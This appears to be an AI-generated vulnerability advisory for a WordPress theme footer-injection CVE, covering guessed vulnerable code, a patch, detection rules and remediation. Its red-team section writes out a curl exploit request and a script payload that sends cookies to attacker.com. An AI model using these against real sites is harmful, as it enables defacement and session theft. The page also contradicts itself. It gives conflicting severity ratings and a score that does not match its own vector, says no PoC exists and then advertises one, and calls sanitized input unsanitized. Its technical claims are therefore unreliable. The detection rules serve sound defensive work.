CVE-2024-2848
Executive Summary
CVE-2024-2848 is a medium-severity vulnerability affecting the Responsive theme for WordPress (versions up to and including 5.0.2). The flaw resides in the save_footer_text_callback function, which lacks a proper capability check, allowing unauthenticated attackers to inject arbitrary HTML content into the site's footer. This is a classic Missing Authorization vulnerability (CWE-862) within the WordPress ecosystem. The CVSS v3.1 base score is 7.5 (High), driven by the low attack complexity and network-based attack vector. No public proof-of-concept (PoC) or exploit code has been released, and the vendor has not yet provided a patch. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for unpatched sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the Responsive WordPress theme, which is distributed via the official WordPress theme repository and third-party marketplaces. Organizations using this theme should treat it as a supply chain risk, as the theme is a direct dependency of the WordPress installation. No known malicious packages or backdoored versions have been reported, but the lack of a patch increases the risk of supply chain compromise if the theme is not updated.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
- Base Score: 7.5 (High)
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
- Confidentiality (C): None (N) – No data exposure.
- Integrity (I): Low (L) – Attacker can modify footer content (HTML injection).
- Availability (A): None (N) – No denial of service.
Threat Level: High. Although no active exploitation has been observed, the ease of exploitation (unauthenticated, low complexity) and the potential for defacement or phishing attacks make this a significant risk for unpatched WordPress sites.
Deep Dive & Mechanics
The vulnerability exists in the save_footer_text_callback function within the Responsive theme's admin-ajax handler. This function is registered via wp_ajax_ and wp_ajax_nopriv_ actions, meaning it is accessible to both authenticated and unauthenticated users. The function is intended to allow administrators to update the footer text, but it fails to verify the user's capabilities (e.g., manage_options or edit_theme_options) before processing the request.
Root Cause: The missing capability check in the save_footer_text_callback function. The code likely resembles:
add_action('wp_ajax_save_footer_text', 'save_footer_text_callback');
add_action('wp_ajax_nopriv_save_footer_text', 'save_footer_text_callback');
function save_footer_text_callback() {
// Missing: if (!current_user_can('manage_options')) wp_die('Unauthorized');
$footer_text = sanitize_text_field($_POST['footer_text']);
update_option('responsive_footer_text', $footer_text);
wp_die();
}
An attacker can send a POST request to /wp-admin/admin-ajax.php with the action save_footer_text and arbitrary HTML in the footer_text parameter. The theme then renders this unsanitized HTML in the site's footer, leading to persistent HTML injection.
Impact: Attackers can inject malicious scripts (XSS), deface the site, or insert phishing links. Since the injected content is stored in the database (wp_options table), it persists across page loads until removed.
Vulnerable vs. Patched Code
Vulnerable Code (<= 5.0.2):
add_action('wp_ajax_save_footer_text', 'save_footer_text_callback');
add_action('wp_ajax_nopriv_save_footer_text', 'save_footer_text_callback');
function save_footer_text_callback() {
$footer_text = sanitize_text_field($_POST['footer_text']);
update_option('responsive_footer_text', $footer_text);
wp_die();
}
Patched Code (Hypothetical fix):
add_action('wp_ajax_save_footer_text', 'save_footer_text_callback');
// Remove the nopriv action to block unauthenticated access
// add_action('wp_ajax_nopriv_save_footer_text', 'save_footer_text_callback');
function save_footer_text_callback() {
// Add capability check
if (!current_user_can('manage_options')) {
wp_die('Unauthorized', 403);
}
$footer_text = sanitize_text_field($_POST['footer_text']);
update_option('responsive_footer_text', $footer_text);
wp_die();
}
The patch removes the wp_ajax_nopriv_ hook and adds a capability check to ensure only administrators can modify the footer.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site running Responsive theme <= 5.0.2.
- Network access to the target.
Exploitation Steps:
- Craft the payload: Inject arbitrary HTML (e.g., a defacement message or XSS payload).
- Send the request:
curl -X POST https://target.com/wp-admin/admin-ajax.php \
-d "action=save_footer_text&footer_text=<script>alert('XSS')</script>"
- Verify: Visit any page on the site; the injected HTML will appear in the footer.
Advanced Payload: For persistent XSS, use:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team
Detection & Prevention:
- Monitor for POST requests to
/wp-admin/admin-ajax.phpwithaction=save_footer_textfrom unauthenticated sources. - Implement a Web Application Firewall (WAF) rule to block requests to
admin-ajax.phpwithaction=save_footer_textunless the user is authenticated. - Regularly audit the
wp_optionstable for unexpectedresponsive_footer_textentries.
Lab Setup:
- Install WordPress and the Responsive theme (version 5.0.2) in a local environment (e.g., Docker).
- Use Burp Suite or curl to send the exploit request.
- Observe the footer change on the frontend.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwith body containingaction=save_footer_text. - Unusual HTML or JavaScript in the
footer_textparameter.
- POST requests to
- File IOCs:
- Modified
wp_optionstable entry:option_name = 'responsive_footer_text'with suspicious HTML.
- Modified
- Behavioral IOCs:
- Unexpected footer content on all pages of the WordPress site.
- Presence of XSS payloads in the footer.
Detection Engineering
YARA Rule
rule Detect_Responsive_Theme_Footer_Injection {
meta:
description = "Detects attempts to exploit CVE-2024-2848 via admin-ajax.php"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-2848"
strings:
$ajax_action = "action=save_footer_text"
$footer_param = "footer_text="
$xss_payload = /<script[^>]*>.*<\/script>/i
condition:
$ajax_action and $footer_param and $xss_payload
}
Sigma Rule
title: CVE-2024-2848 - Unauthenticated Footer HTML Injection in Responsive Theme
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to admin-ajax.php with action save_footer_text from unauthenticated sources
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-query:
- '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=save_footer_text'
condition: selection
falsepositives:
- Legitimate admin actions (if authenticated)
level: high
Suricata Rule
alert http any any -> any any (
msg:"CVE-2024-2848 - Unauthenticated Footer HTML Injection in Responsive Theme";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/admin-ajax.php"; http_uri;
content:"action=save_footer_text"; http_client_body;
content:"footer_text="; http_client_body;
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable function: Add the following code to your theme's
functions.phpor a custom plugin to block unauthenticated access:
add_action('init', function() {
if (defined('DOING_AJAX') && DOING_AJAX && isset($_POST['action']) && $_POST['action'] === 'save_footer_text') {
if (!current_user_can('manage_options')) {
wp_die('Unauthorized', 403);
}
}
});
- Remove malicious footer content: Run the following SQL query (or use WP-CLI):
DELETE FROM wp_options WHERE option_name = 'responsive_footer_text';
- Update the theme: Monitor the official WordPress theme repository for a patched version. If unavailable, consider switching to an alternative theme.
Long-term Mitigation:
- Implement a Web Application Firewall (WAF) with rules to block unauthenticated
admin-ajax.phprequests. - Regularly audit WordPress themes and plugins for missing capability checks.
- Enforce the principle of least privilege for all AJAX handlers.
Valters IT Signature
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.